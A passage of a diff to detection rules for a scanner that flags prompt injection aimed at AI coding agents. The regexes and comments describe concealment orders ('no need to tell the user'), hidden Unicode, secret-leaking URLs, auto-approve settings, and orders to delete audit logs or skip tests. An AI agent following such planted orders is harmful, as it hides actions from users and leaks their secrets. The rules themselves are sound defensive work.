\t]*\n)[\s\S]){0,300})(?:(?:this|that|it|these|those|all\s+of\s+this)(?:\s+(?:changes?|edits?|steps?|files?))?\s+(?:stays?|remains?|should\s+stay|must\s+stay|is\s+to\s+stay)\s+(?:just\s+)?between\s+(?:us|you\s+and\s+me|me\s+and\s+you|the\s+two\s+of\s+us)\b|(?:just\s+)?between\s+(?:us|you\s+and\s+me|me\s+and\s+you|the\s+two\s+of\s+us)(?=\s*(?:[.!;,)\]"''`]|\n|$))|(?:there(?:[''’]s|\s+is)\s+)?no\s+need\s+to\s+(?:(?:mention|tell|say|report|flag|surface|note|log|document|list|include|disclose|reveal|inform|notify)\s+(?:(?:it|this|that|these|those|them)|(?:the\s+|your\s+)?(?:users?|humans?|developers?|owners?|operators?|anyone|anybody))|bring\s+(?:it|this|that|these|those|them)\s+up|let\s+(?:the\s+|your\s+)?(?:users?|humans?|developers?|owners?|operators?|anyone|anybody)\s+know)\b(?:(?=\s*(?:[.!;,)\]"''`]|\n|$|\*/))|\s+(?:to|with)\s+(?:the\s+|your\s+)?(?:users?|humans?|developers?|owners?|operators?|anyone|anybody)\b|\s+(?:in|from|on)\s+(?:your|the|any)\s+(?:summary|summaries|response|reply|answer|output|message|description|commit\s+messages?|changelog|diff|PR|review|report|notes?|logs?|history)\b|\s+about\s+(?:it|this|that|these|those|them)\b)|(?:leave|keep|kept)\s+(?:it|this|that|these|those|them)\s+out\s+(?:of|from)\s+(?:your|the|any)\s+(?:summary|summaries|response|reply|answer|output|message|description|commit\s+messages?|changelog|diff|PR|review|report|notes?|logs?|history)\b|omit\s+(?:it|this|that|these|those|them)\s+from\s+(?:your|the|any)\s+(?:summary|summaries|response|reply|answer|output|message|description|commit\s+messages?|changelog|diff|PR|review|report|notes?|logs?|history)\b|(?:scrub|strip|erase|purge)\s+(?:(?:it|this|that|these|those|them)|any\s+(?:mention|trace)s?\s+of\s+(?:it|this|that|these|those|them))\s+from\s+(?:your|the|any)\s+(?:summary|summaries|response|reply|answer|output|message|description|commit\s+messages?|changelog|diff|PR|review|report|notes?|logs?|history)\b|\bnot\s+need\s+to\s+be\s+(?:surfaced|mentioned|reported|shown|disclosed|flagged|noted|listed)\s+(?:in|to)\s+(?:your|the|any)\s+(?:summar(?:y|ies)|responses?|repl(?:y|ies)|output|users?|reviewers?|pr|changelog|commit\s+messages?)\b|needn[''’]t\s+be\s+(?:surfaced|mentioned|reported|shown|disclosed)\s+(?:in|to)\s+(?:your|the|any)\s+(?:summar(?:y|ies)|responses?|repl(?:y|ies)|output|users?)\b|leave\s+no\s+trace(?:\s+(?:of\s+(?:it|this|that|these|those|them|your|the|any)\b|(?:in|on)\s+(?:the|your|any)\b)|(?=\s*(?:[.!;,)\]"''`]|\n|$)))|(?:do\s+not|don[''’]t|never|must\s+not|mustn[''’]t|should\s+not|shouldn[''’]t)\s+(?:(?:ever|even|actually)\s+)?(?:bring\s+(?:it|this|that|these|those|them)\s+up(?:(?=\s*(?:[.!;,)\]"''`]|\n|$|\*/))|\s+(?:to|with)\s+(?:the\s+|your\s+)?(?:users?|humans?|developers?|owners?|operators?|anyone|anybody)\b|\s+(?:in|from|on)\s+(?:your|the|any)\s+(?:summary|summaries|response|reply|answer|output|message|description|commit\s+messages?|changelog|diff|PR|review|report|notes?|logs?|history)\b)|breathe\s+a\s+word\b|(?:put|write|add|record|surface|flag|highlight|expose|log|file|list)\s+(?:it|this|that|these|those|them)\b(?:\s+(?:to|with)\s+(?:the\s+|your\s+)?(?:users?|humans?|developers?|owners?|operators?|anyone|anybody)\b|\s+(?:in|from|on)\s+(?:your|the|any)\s+(?:summary|summaries|response|reply|answer|output|message|description|commit\s+messages?|changelog|diff|PR|review|report|notes?|logs?|history)\b)|(?:tell|inform|notify|alert|warn)\s+(?:the\s+|your\s+)?(?:reviewers?|maintainers?|team|code\s+owners?)\b(?:(?=\s*(?:[.!;,)\]"''`]|\n|$|\*/))|\s+(?:about|of)\s+(?:it|this|that|these|those|them)\b))|keep\s+(?:quiet|silent)\s+about\s+(?:it|this|that|these|those|them)\b|keep\s+(?:it|this|that|these|those|them)\s+(?:under\s+wraps|off\s+the\s+record|to\s+yourself|low[- ]key)\b|keep\s+(?:these|those|the)\s+(?:changes?|edits?|steps?|files?)\s+(?:quiet|secret|hidden|under\s+wraps|between\s+us)\b|(?:this|that|it|everything|all\s+of\s+this)\s+(?:is|stays?|remains?|should\s+stay|must\s+stay|goes)\s+off\s+the\s+record\b|(?:go|going)\s+off\s+the\s+record\b|not\s+a\s+word\s+(?:of\s+(?:this|it)|about\s+(?:it|this|that)|to\s+(?:the\s+|your\s+)?(?:users?|humans?|developers?|owners?|operators?|anyone|anybody))\b|(?:say|tell|mention)\s+nothing\s+(?:about\s+(?:it|this|that)|to\s+(?:the\s+|your\s+)?(?:users?|humans?|developers?|owners?|operators?|anyone|anybody))\b|hide\s+(?:(?:them|(?:these|those|the)\s+(?:changes?|edits?|files?|steps?|additions?))\s+from\s+(?:the|your|any)\s+(?:users?|humans?|developers?|owners?|operators?|reviewers?|review|summary|commit\s+messages?|diff|changelog|PR)|(?:it|this|that)\s+from\s+(?:the|your|any)\s+(?:reviewers?|review|summary|commit\s+messages?|diff|changelog|PR))\b|(?:the\s+)?(?:users?|humans?|developers?|owners?|operators?)\s+(?:does\s+not|doesn[''’]t|do\s+not|don[''’]t|needn[''’]t|need\s+not|will\s+not|won[''’]t|should\s+not|shouldn[''’]t)\s+(?:need\s+to\s+)?(?:know|see|hear)(?:\s+(?:about|of)\s+(?:it|this|that|these|those|them)\b|(?=\s*(?:[.!;,)\]"''`]|\n|$|\*/)))|(?:nobody|no\s+one|no\s+human)\s+(?:needs|has|should\s+need)\s+to\s+(?:know|see|hear)(?:\s+(?:about|of)\s+(?:it|this|that)\b|(?=\s*(?:[.!;,)\]"''`]|\n|$|\*/)))))|no\s+(?:se\s+lo\s+|le\s+|se\s+|lo\s+)?(?:digas|menciones|cuentes|informes|avises|reveles)\s+(?:esto\s+|eso\s+|nada\s+)?(?:al|a\s+el|a\s+la)\s+(?:usuari[oa]|desarrollador[a]?|humano)|sin\s+(?:avisar|informar|notificar|decirle|decírselo|decirselo)\s+(?:al|a\s+la)\s+usuari[oa]|mant[eé]n(?:lo|la)?\s+(?:esto\s+|eso\s+)?en\s+secreto|ne\s+(?:le\s+|la\s+|lui\s+|en\s+)?(?:dis|dites|mentionne|mentionnez|révèle|révélez|informe|informez|signale|signalez)\s+pas\s+(?:cela\s+|ça\s+|ceci\s+)?(?:à|a|au)\s+(?:l[''’]|la\s+|le\s+)?(?:utilisateur|développeur|developpeur|humain)|sans\s+(?:en\s+|le\s+|lui\s+)?(?:informer|avertir|prévenir|prevenir|dire|parler)\s+(?:à\s+|a\s+)?l[''’]utilisateur|gardez?\s+(?:cela|ça|ceci)\s+secret|(?:sag|sage|sagen\s+sie|erz[äa]hl|erz[äa]hle|erw[äa]hn|erw[äa]hne|informiere)\s+(?:es\s+|das\s+|dies\s+)?(?:dem|den)\s+(?:benutzer|nutzer|entwickler)n?\s+(?:nichts|nicht)|ohne\s+(?:den|dem)\s+(?:benutzer|nutzer|entwickler)n?\s+(?:zu\s+informieren|zu\s+benachrichtigen|bescheid\s+zu\s+sagen)|halte?\s+(?:das|dies|es)\s+geheim|n[ãa]o\s+(?:conte|diga|mencione|informe|avise|revele)\s+(?:isso\s+|isto\s+|nada\s+)?(?:ao|para\s+o)\s+(?:usu[áa]rio|utilizador|desenvolvedor)|sem\s+(?:avisar|informar|contar|dizer)\s+(?:ao|o)\s+(?:usu[áa]rio|utilizador)|mantenha\s+(?:isso|isto)\s+em\s+segredo|non\s+(?:dirlo|dirgli|dire|menzionarlo|menzionare|informare|avvisare|avvertire|rivelare)\s+(?:questo\s+|nulla\s+)?(?:all[''’]|al\s+|l[''’]|il\s+)(?:utente|sviluppatore)|senza\s+(?:dirlo|avvisare|informare|avvertire)\s+(?:all[''’]|l[''’])utente|tieni\s+(?:questo|ciò|cio)\s+segreto|(?:不要|别|切勿|请勿|勿)(?:告诉|告知|通知|提醒)(?:用户|使用者|开发者|人类)|瞒着用户|对用户保密|不要让用户知道|(?:不要|不能|勿)(?:向|对)(?:用户|使用者)(?:透露|提及|说明)|ユーザー(?:に|には|へ)(?:は)?(?:絶対に)?(?:言わ|伝え|知らせ|教え|報告し)(?:ない|ず|ません)|ユーザーに(?:は)?(?:内緒|秘密)|ユーザーに(?:気づか|知ら)れ(?:ない|ず)|사용자(?:에게|한테)(?:는)?\s*(?:말하지|알리지|알려주지)\s*(?:마|말|않)|사용자\s*몰래|사용자에게\s*(?:비밀|숨기)|не\s+(?:говори|говорите|сообщай|сообщайте|рассказывай|рассказывайте|упоминай|упоминайте)\s+(?:об\s+этом\s+|этого\s+|это\s+)?(?:пользовател[юя]|разработчик[уа])|без\s+(?:ведома|уведомления)\s+пользователя|держи(?:те)?\s+это\s+в\s+секрете|скрой(?:те)?\s+это\s+от\s+пользователя|(?<=(?:^|\n)[ \t]*(?:(?:[-*+>]|\d{1,3}[.)]|#{1,6}|//+|/?\*+)[ \t]*)?|[.!?:][ \t]+)(?:quietly|silently|secretly|covertly|discreetly)\s+(?:add|insert|inject|append|include|embed|put|install|create)\b)'
|
|
36
41
|
# m19-scan (SN-5): in an instruction file an order to the agent and a concealment
|
|
37
42
|
# anywhere in the same file are reported. For these paths the look-behind of the
|
|
38
43
|
# regex (an order word within 300 characters, in the same paragraph) is replaced by
|
|
@@ -50,6 +55,15 @@ match:
|
|
|
50
55
|
# reported at low severity, not dropped. A file an agent reads is never lowered.
|
|
51
56
|
low_severity_paths:
|
|
52
57
|
- "(^|/)(tests?|__tests__|__mocks__|spec|specs|fixtures?|testdata|test-data|e2e|evals?)/|[._-](test|spec)s?\\.[A-Za-z0-9]+$|_tests?\\.(rs|go|py)$"
|
|
58
|
+
# m20: in the source languages added to the code role later (Go, Rust, Java and others) comments and
|
|
59
|
+
# strings mostly describe program behaviour ("do not show it", "strip it from the message"); a match
|
|
60
|
+
# there is reported at low, never dropped. A note that addresses AI tools with a dangerous order is EX-076.
|
|
61
|
+
- '\.(?:rs|go|java|kt|kts|scala|rb|php|cs|swift|c|h|cc|cpp|hpp|m|lua|pl|ps1|r|dart|ex|exs)$'
|
|
62
|
+
# m20 (security review): in those languages a comment that also names a dangerous action keeps the high severity.
|
|
63
|
+
low_severity_unless:
|
|
64
|
+
paths:
|
|
65
|
+
- '\.(?:rs|go|java|kt|kts|scala|rb|php|cs|swift|c|h|cc|cpp|hpp|m|lua|pl|ps1|r|dart|ex|exs)$'
|
|
66
|
+
regex: '\b(?:delete|rm\s+-rf|drop\s+table|send|upload|post|push|publish|curl|wget|exec|eval|credentials?|secrets?|tokens?|api\s+keys?|password|private\s+key|disable|bypass|approve|audit\s+log)\b|\.env\b|\.ssh\b'
|
|
53
67
|
owasp:
|
|
54
68
|
- "ASI02 Inadequate Human-in-the-Loop Controls"
|
|
55
69
|
- "ASI03 Prompt Injection via External Content"
|
|
@@ -3,6 +3,10 @@ title: Hidden Unicode in source code
|
|
|
3
3
|
severity: high
|
|
4
4
|
applies_to:
|
|
5
5
|
- code
|
|
6
|
+
# .go, .rs, .java, .tsx and other source files have role `unknown`; only_paths keeps the rule to source code (m20).
|
|
7
|
+
- unknown
|
|
8
|
+
only_paths:
|
|
9
|
+
- "\\.(?:[cm]?[jt]sx?|mts|cts|py|pyi|sh|bash|zsh|fish|go|rs|java|kts?|scala|groovy|c|h|cc|cpp|cxx|hpp|hh|cs|fs|vb|rb|php|swift|mm?|lua|pl|pm|r|dart|exs?|erl|hrl|hs|ml|clj|cljs|elm|vue|svelte|astro|ps1|psm1|sql|sol|zig|nim|jl|tf|hcl)$"
|
|
6
10
|
match:
|
|
7
11
|
# The Trojan Source class: bidi controls that reorder what a reviewer sees,
|
|
8
12
|
# tag characters that carry an invisible message, and a run of variation
|
|
@@ -10,10 +14,23 @@ match:
|
|
|
10
14
|
# flag emoji built from tag characters are ordinary and are not reported
|
|
11
15
|
# (packages/core/src/normalizer.ts). Zero-width characters are left out here:
|
|
12
16
|
# they are common in strings of translated text.
|
|
17
|
+
# m20: zero-width characters count in runs of four or more (a run that long carries bits, A008-style
|
|
18
|
+
# binary in a doc comment); one to three stay quiet. The Hangul fillers draw nothing but are legal in
|
|
19
|
+
# identifiers, so they hide a variable (`const { timeout, \u3164 } = req.query`). U+2800 (Braille blank) is
|
|
20
|
+
# not an identifier character and is ordinary in terminal spinners, so it is left out.
|
|
13
21
|
unicode_class:
|
|
14
22
|
- bidi-override
|
|
15
23
|
- tag-block
|
|
16
24
|
- variation-selector
|
|
25
|
+
- zero-width
|
|
26
|
+
- invisible-letter
|
|
27
|
+
skip_short_run:
|
|
28
|
+
classes:
|
|
29
|
+
- zero-width
|
|
30
|
+
max_length: 3
|
|
31
|
+
escapes: true
|
|
32
|
+
# An identifier that mixes Latin with Cyrillic or Greek look-alikes (ALLOWED_HOSTS spelled with a Cyrillic O) shadows the real one.
|
|
33
|
+
mixed_script: true
|
|
17
34
|
low_severity_paths:
|
|
18
35
|
- "(^|/)(tests?|__tests__|__mocks__|spec|specs|fixtures?|testdata|test-data|e2e|evals?)/|[._-](test|spec)s?\\.[A-Za-z0-9]+$|_tests?\\.(rs|go|py)$"
|
|
19
36
|
owasp:
|
|
@@ -9,7 +9,11 @@ match:
|
|
|
9
9
|
# command in the hooks of a project settings file (Claude Code, Cursor,
|
|
10
10
|
# Windsurf, Gemini), a key helper (apiKeyHelper and the cloud-credential
|
|
11
11
|
# helpers) and a status line command. These run on the machine of whoever
|
|
12
|
-
# opens the project (the class of CVE-2025-59536).
|
|
12
|
+
# opens the project (the class of CVE-2025-59536). One finding per settings
|
|
13
|
+
# file, on the first command, naming every command (m20-config: seven hooks
|
|
14
|
+
# that each run a script of the project gave seven identical findings). A
|
|
15
|
+
# command that downloads and runs code is also reported on its own line by
|
|
16
|
+
# EX-008.
|
|
13
17
|
analysis: project-settings
|
|
14
18
|
family: commands
|
|
15
19
|
low_severity_paths:
|
|
@@ -18,8 +18,9 @@ match:
|
|
|
18
18
|
# - an order to append secrets or the contents of an env file to a URL parameter
|
|
19
19
|
# An ordinary link with ?q=search or ?v=2, a badge, and a lookup of a fixed name
|
|
20
20
|
# are not reported. Everything is bounded: no unbounded repeat sits inside another.
|
|
21
|
-
regex: '(?:(?<!!)\[[^\]\n]{0,200}\]\(\s{0,3}https?://[^)\s?#]{1,200}\?(?:[^)\s]{0,300}?(?:\{\{|\$\{|%s\b|\$\(|<[a-z_ .-]{2,40}>)[^)\n]{0,300}|(?:[^)\s]{0,300}?&)?(?:d|data|payload|contents?|secrets?|tokens?|env|cookies?|creds?|credentials?|leak|dump|exfil|session|auth|pass(?:word)?)=(?!\d{1,4}(?:[&)\s]|$))[^)\s]{0,300})\)|<img\b[^<>]{0,300}?\bsrc\s*=\s*["\x27]?https?://[^"\x27\s>?]{1,200}\?(?:[^"\x27\s>]{0,300}?(?:\{\{|\$\{|%s\b|\$\()|(?:[^"\x27\s>]{0,300}?&)?(?:d|k|data|payload|contents?|secrets?|tokens?|env|cookies?|creds?|credentials?|key|leak|dump|exfil|session|auth|pass(?:word)?)=)|<img\b(?=[^<>]{0,400}?\b(?:width|height)\s*=\s*["\x27]?1["\x27]?(?![\d%.]))[^<>]{0,400}?\bsrc\s*=\s*["\x27]?https?://[^"\x27\s>?]{1,200}\?|(?<=^|\n)[ \t]{0,3}\[[^\]\n]{1,50}\]:\s{0,3}<?https?://[^\s>?]{1,200}\?(?:[^\s>]{0,300}?(?:\{\{|\$\{|%s\b|\$\()|(?:[^\s>]{0,300}?&)?(?:d|data|payload|contents?|secrets?|tokens?|env|cookies?|creds?|credentials?|leak|dump|exfil|session|auth|pass(?:word)?)=(?!\d{1,4}(?:[&\s]|$)))|\bclick\s+[\w-]{1,40}\s+(?:href\s+)?"https?://[^"\s?]{1,200}\?(?:[^"\n]{0,300}?(?:\{\{|\$\{|%s\b|\$\()|(?:[^"\s]{0,300}?&)?(?:d|k|q|data|payload|contents?|secrets?|tokens?|env|cookies?|creds?|key|leak|dump|exfil|session|auth|pass(?:word)?)=)
|
|
21
|
+
regex: '(?:(?<!!)\[[^\]\n]{0,200}\]\(\s{0,3}https?://[^)\s?#]{1,200}\?(?:[^)\s]{0,300}?(?:\{\{|\$\{|%s\b|\$\(|<[a-z_ .-]{2,40}>)[^)\n]{0,300}|(?:[^)\s]{0,300}?&)?(?:d|data|payload|contents?|secrets?|tokens?|env|cookies?|creds?|credentials?|leak|dump|exfil|session|auth|pass(?:word)?)=(?!\d{1,4}(?:[&)\s]|$))[^)\s]{0,300})\)|<img\b[^<>]{0,300}?\bsrc\s*=\s*["\x27]?https?://[^"\x27\s>?]{1,200}\?(?:[^"\x27\s>]{0,300}?(?:\{\{|\$\{|%s\b|\$\()|(?:[^"\x27\s>]{0,300}?&)?(?:d|k|data|payload|contents?|secrets?|tokens?|env|cookies?|creds?|credentials?|key|leak|dump|exfil|session|auth|pass(?:word)?)=)|<img\b(?=[^<>]{0,400}?\b(?:width|height)\s*=\s*["\x27]?1["\x27]?(?![\d%.]))[^<>]{0,400}?\bsrc\s*=\s*["\x27]?https?://[^"\x27\s>?]{1,200}\?|(?<=^|\n)[ \t]{0,3}\[[^\]\n]{1,50}\]:\s{0,3}<?https?://[^\s>?]{1,200}\?(?:[^\s>]{0,300}?(?:\{\{|\$\{|%s\b|\$\()|(?:[^\s>]{0,300}?&)?(?:d|data|payload|contents?|secrets?|tokens?|env|cookies?|creds?|credentials?|leak|dump|exfil|session|auth|pass(?:word)?)=(?!\d{1,4}(?:[&\s]|$)))|\bclick\s+[\w-]{1,40}\s+(?:href\s+)?"https?://[^"\s?]{1,200}\?(?:[^"\n]{0,300}?(?:\{\{|\$\{|%s\b|\$\()|(?:[^"\s]{0,300}?&)?(?:d|k|q|data|payload|contents?|secrets?|tokens?|env|cookies?|creds?|key|leak|dump|exfil|session|auth|pass(?:word)?)=)|(?<![-\w])(?:nslookup|dig|host|drill)\s+(?:[+@-]\S{1,40}\s+){0,3}[^\n]{0,100}?(?:\$\(\s*(?:cat|base64|env|printenv|echo|head|tail|xxd|od|openssl|hexdump|git\s+config|curl|tr|sed|awk)\b|`\s*(?:cat|base64|env|printenv|echo|head|xxd)\b|\$\{?[A-Z][A-Z0-9_]{1,40}(?:TOKEN|KEY|SECRET|PASSWORD|PASS|CREDENTIALS?)\b)|\b(?:append|add|put|include|attach|encode|embed|insert|paste|pass|send)\s+[^.\n]{0,60}?(?:contents?\s+of\s+|output\s+of\s+|value\s+of\s+)?(?:the\s+)?(?:\.env\b|env(?:ironment)?\s+(?:file|variables?)|secrets?|credentials?|api\s+keys?|tokens?)[^.\n]{0,60}?\b(?:to|in|into|onto|as)\s+(?:the\s+)?(?:[\w-]+\s+)?(?:parameter|param|query(?:\s+string)?|url|link|address)\b)'
|
|
22
22
|
# A phrase in quotation marks inside a warning or an example is not an order.
|
|
23
|
+
# m20: `--host 0.0.0.0` is an option, not the host command (field round 4).
|
|
23
24
|
quoted_example_cues: '\b(?:such\s+as|e\.g\.|i\.e\.|for\s+(?:example|instance)|never|do\s+not|don''t|must\s+not|should\s+not|refuse|reject|treat|untrusted|inert|injection|jailbreak|adversarial|attack|malicious|hostile|crafted|hijack|red[- ]?team|detect|flag|block|strip|sanitiz|filter|pattern|phrase|cases?\b|example|quarantine|directive|look(?:s|ing)?\s+like|shaped)'
|
|
24
25
|
# A passage that forbids the action is a defence.
|
|
25
26
|
negated_cues: '\b(?:(?:must|should|shall|will|would|may|might|can|could)\s*(?:not|never)|(?:must|should|shall|would|could|do|does|did|is|are|was|were|has|have|ca|wo)n[''’]t|cannot|do(?:es)?\s+not|did\s+not|never|refus(?:e|es|ed|ing)\s+to|(?:is|are)\s+not\s+(?:to|allowed\s+to|permitted\s+to|able\s+to)|unable\s+to)\s+(?:(?:ever|simply|just|even|actually|knowingly|first|then|also)\s+)*$'
|
|
@@ -16,7 +16,9 @@ match:
|
|
|
16
16
|
# to do it is a defence (negated_cues). Plain test output is not reported.
|
|
17
17
|
regex: '(?:\b(?:paste|post|include|add|attach|put|share|write|copy|submit|upload|send|comment)\s+[^.\n]{0,80}?(?:output\s+of\s+`?(?:env|printenv|set)`?\b|`?\benv`?\s+output|\.env\b|environment\s+variables|env(?:ironment)?\s+(?:file|values)|secrets?|credentials?|api\s+keys?|access\s+tokens?|tokens?)[^.\n]{0,80}?\b(?:in|into|on|to|as|for)\s+(?:(?:an?|the|each|every|your|that|any|new)\s+){0,2}(?:(?:github\s+)?issues?|pull\s+requests?|PRs?|comments?|discussions?|gists?|commit\s+messages?|release\s+notes|(?:(?:PR|pull\s+request|issue)\s+)?(?:description|body))\b|\b(?:in|on|to)\s+(?:every|each|any|all|your)\s+(?:issues?|pull\s+requests?|PRs?|comments?|commit\s+messages?)(?:\s+(?:description|body|title))?\s*[,:;-]?\s*(?:paste|include|add|post|attach|put|write)\s+[^.\n]{0,80}?(?:output\s+of\s+`?env\b|\.env\b|environment\s+variables|secrets?|credentials?|api\s+keys?|tokens?))'
|
|
18
18
|
quoted_example_cues: '\b(?:such\s+as|e\.g\.|i\.e\.|for\s+(?:example|instance)|never|do\s+not|don''t|must\s+not|should\s+not|refuse|reject|treat|untrusted|inert|injection|jailbreak|adversarial|attack|malicious|hostile|crafted|hijack|red[- ]?team|detect|flag|block|strip|sanitiz|filter|pattern|phrase|cases?\b|example|quarantine|directive|look(?:s|ing)?\s+like|shaped)'
|
|
19
|
-
|
|
19
|
+
# m20: a negation earlier in the sentence also governs a verb joined by "or"/"nor"
|
|
20
|
+
# ("never commit .env files or paste credentials into issues").
|
|
21
|
+
negated_cues: '\b(?:(?:must|should|shall|will|would|may|might|can|could)\s*(?:not|never)|(?:must|should|shall|would|could|do|does|did|is|are|was|were|has|have|ca|wo)n[''’]t|cannot|do(?:es)?\s+not|did\s+not|never|refus(?:e|es|ed|ing)\s+to|(?:is|are)\s+not\s+(?:to|allowed\s+to|permitted\s+to|able\s+to)|unable\s+to)\s+(?:(?:ever|simply|just|even|actually|knowingly|first|then|also)\s+)*$|\b(?:never|not|cannot|n[''’]t|nor)\b(?:(?![,;:]|\b(?:if|when|unless|then|so|but|because|after|before|once)\b)(?:[^.!?\n]|\.(?=\w))){0,80}?\b(?:or|nor)\s+$'
|
|
20
22
|
low_severity_paths:
|
|
21
23
|
- "(^|/)(tests?|__tests__|__mocks__|spec|specs|fixtures?|testdata|test-data|e2e|evals?)/|[._-](test|spec)s?\\.[A-Za-z0-9]+$|_tests?\\.(rs|go|py)$"
|
|
22
24
|
owasp:
|
|
@@ -1,12 +1,19 @@
|
|
|
1
1
|
id: EX-074
|
|
2
|
-
title:
|
|
2
|
+
title: Settings that approve every agent tool call
|
|
3
3
|
severity: high
|
|
4
4
|
applies_to:
|
|
5
5
|
- config
|
|
6
6
|
match:
|
|
7
|
-
#
|
|
8
|
-
#
|
|
9
|
-
# chat.tools.
|
|
7
|
+
# Read by packages/core/src/project-settings.ts, not matched as text.
|
|
8
|
+
# VS Code / Copilot: chat.tools.global.autoApprove set to true in
|
|
9
|
+
# .vscode/settings.json, or chat.tools.autoApprove, the name the same
|
|
10
|
+
# switch had before VS Code 1.104. Either approves every tool call of the
|
|
11
|
+
# chat agent without asking. The map of commands in
|
|
12
|
+
# chat.tools.terminal.autoApprove is EX-034.
|
|
13
|
+
# Cline / Roo Code: alwaysAllowExecute set to true (top level, or under
|
|
14
|
+
# globalSettings in an exported settings file) with a wildcard in
|
|
15
|
+
# allowedCommands, or roo-cline.allowedCommands with a wildcard in VS Code
|
|
16
|
+
# settings. Every shell command then runs without asking.
|
|
10
17
|
analysis: project-settings
|
|
11
18
|
family: copilot-auto-approve
|
|
12
19
|
low_severity_paths:
|
|
@@ -15,6 +22,7 @@ owasp:
|
|
|
15
22
|
- "ASI02 Inadequate Human-in-the-Loop Controls"
|
|
16
23
|
- "LLM06:2025 Excessive Agency"
|
|
17
24
|
fix: >
|
|
18
|
-
Remove chat.tools.global.autoApprove
|
|
19
|
-
|
|
20
|
-
|
|
25
|
+
Remove the approve-everything switch (chat.tools.global.autoApprove,
|
|
26
|
+
chat.tools.autoApprove, or alwaysAllowExecute with "*" in allowedCommands)
|
|
27
|
+
from the committed settings. Keep tool approval in your own user settings,
|
|
28
|
+
where you choose it, not in a file that comes with the repository.
|
|
@@ -22,7 +22,9 @@ match:
|
|
|
22
22
|
# 4. fetching a URL.
|
|
23
23
|
# Quiet on purpose: "run `pnpm test` before you commit", "add a test for every
|
|
24
24
|
# bug you fix", "use `npm ci` in CI", and a link to the project's own docs.
|
|
25
|
-
|
|
25
|
+
# m21 (blind evaluation, class 8): an order to send "it", "them" or "the key" to an outside address; the
|
|
26
|
+
# user's own token or credentials sent to an address (either order); an address whose query takes a placeholder.
|
|
27
|
+
regex: '\b(?:post|send|upload|register|forward|e-?mail|submit|share|paste)\s+(?:it|them|this|these|those|the\s+(?:key|keys|token|tokens|secret|secrets|value|values|file|credentials?|password|passwords))\b(?:[^.!?\n]|\n(?![ \t]*\n)|\.(?=[\w/~])){0,80}?\b(?:to|at|with|into|on|by)\b(?:[^.!?\n]|\n(?![ \t]*\n)|\.(?=[\w/~])){0,60}?(?:https?://|ftp://|\b\d{1,3}(?:\.\d{1,3}){3}\b|[\w.+-]+@[\w-]+\.[\w.-]+)|(?:\buser[\x27’]s\s+(?:auth(?:entication)?\s+|access\s+|api\s+|session\s+)?(?:tokens?|credentials?|passwords?|cookies?|api\s+keys?)|\b(?:tokens?|credenciales|contrase[ñn]as?|cookies?)\s+del\s+usuario|\b(?:token|zugangsdaten|passwort)\s+des\s+(?:benutzers|nutzers)|\b(?:jeton|identifiants|mot\s+de\s+passe)\s+de\s+l[\x27’]utilisateur)(?=(?:[^.!?\n]|\n(?![ \t]*\n)|\.(?=[\w/~])){0,200}?(?:https?://|ftp://|\b\d{1,3}(?:\.\d{1,3}){3}\b|[\w.+-]+@[\w-]+\.[\w.-]+))|(?=(?:\buser[\x27’]s\s+(?:auth(?:entication)?\s+|access\s+|api\s+|session\s+)?(?:tokens?|credentials?|passwords?|cookies?|api\s+keys?)|\b(?:tokens?|credenciales|contrase[ñn]as?|cookies?)\s+del\s+usuario|\b(?:token|zugangsdaten|passwort)\s+des\s+(?:benutzers|nutzers)|\b(?:jeton|identifiants|mot\s+de\s+passe)\s+de\s+l[\x27’]utilisateur))(?<=(?:https?://|ftp://|\b\d{1,3}(?:\.\d{1,3}){3}\b|[\w.+-]+@[\w-]+\.[\w.-]+)[^\s]{0,200}(?:[^.!?\n]|\n(?![ \t]*\n)|\.(?=[\w/~])){0,120}?)(?:\buser[\x27’]s\s+(?:auth(?:entication)?\s+|access\s+|api\s+|session\s+)?(?:tokens?|credentials?|passwords?|cookies?|api\s+keys?)|\b(?:tokens?|credenciales|contrase[ñn]as?|cookies?)\s+del\s+usuario|\b(?:token|zugangsdaten|passwort)\s+des\s+(?:benutzers|nutzers)|\b(?:jeton|identifiants|mot\s+de\s+passe)\s+de\s+l[\x27’]utilisateur)|https?://[^\s\x22\x27`)]+[?&][\w-]+=<[^>\n]{1,40}>|\b(?:create|write|touch|drop|leave|place)\s+(?:an?\s+|the\s+)?(?:(?:empty|new|small|hidden|marker|flag|sentinel)\s+)*(?:marker|flag|sentinel|stamp|canary|beacon)\s+file\b|\b(?:create|write|touch)\s+(?:an?\s+|the\s+)?(?:(?:empty|new)\s+)?(?:file\s+)?(?:named\s+|called\s+)?[''"`]?\.(?!(?:gitignore|gitattributes|editorconfig|env\.example|prettierrc|eslintrc|nvmrc|github|vscode|kiro)\b)[a-z][\w-]*|\b(?:delete|remove|erase|wipe)\s+(?:the\s+|all\s+|any\s+)?(?:\.git\b|\.exorcist|\.kiro|audit\s+logs?|log\s+files?|git\s+history|lockfiles?|\.env\b)|\b(?:edit|modify|change|overwrite|append\s+to)\s+(?:the\s+|your\s+|my\s+)?(?:~/\.[\w./-]+|\.bashrc|\.zshrc|\.gitconfig|\.ssh/\S+|/etc/\S+|\.git/hooks\S*)|(?<!(?:\bnot|\bnever|n[''’]t|\bavoid|\bnor|\bwithout)\s+)\b(?:skip|disable|weaken|bypass|turn\s+off|comment\s+out|silence)\s+(?:(?:the|any|all|failing|flaky|these|those)\s+)*(?:tests?|checks?|lint(?:ing)?|linters?|ci|hooks?|pre-commit|type\s*checks?|typecheck|test\s+suite)\b|\b(?:run|execute|invoke)\s+(?:the\s+(?:command|script)\s+)?`(?!(?:pnpm|npm|yarn|bun|npx|pnpx|bunx|node|tsc|tsx|vitest|jest|eslint|prettier|make|cargo|go|pytest|python3?|pip|uv|git|ruby|bundle|rake|mvn|gradle|dotnet|deno|biome|ruff|mypy|black|flake8|rustfmt|clippy|exorcist|dig|host|nslookup|ping|jq|ls|cat|echo|pwd|which|uname|date|\./(?:scripts|bin)/[\w.-]*(?:build|test|lint|format|check|setup|bootstrap|dev|install))\b)[^`\n]+`|\b(?:run|execute|invoke)\s+(?:the\s+(?:command|script)\s+)?`[^`\n]*(?:\bcurl\b|\bwget\b|\|\s*(?:ba|z)?sh\b|\brm\s+-rf?\b|\bsudo\b|\bnc\b|\bchmod\b)[^`\n]*`|\b(?:fetch|download|retrieve)\s+(?:the\s+(?:file|page|script|content|contents|rules)\s+(?:at|from)\s+|from\s+)?[''"`<(]?https?://|\b(?:curl|wget)\b[^\n]{0,80}https?://[^\n]*(?:\|\s*(?:ba|z)?sh\b|\s-o\b|\s-O\b|\s>\s|--output\b)'
|
|
26
28
|
owasp:
|
|
27
29
|
- "ASI02 Inadequate Human-in-the-Loop Controls"
|
|
28
30
|
- "ASI03 Prompt Injection via External Content"
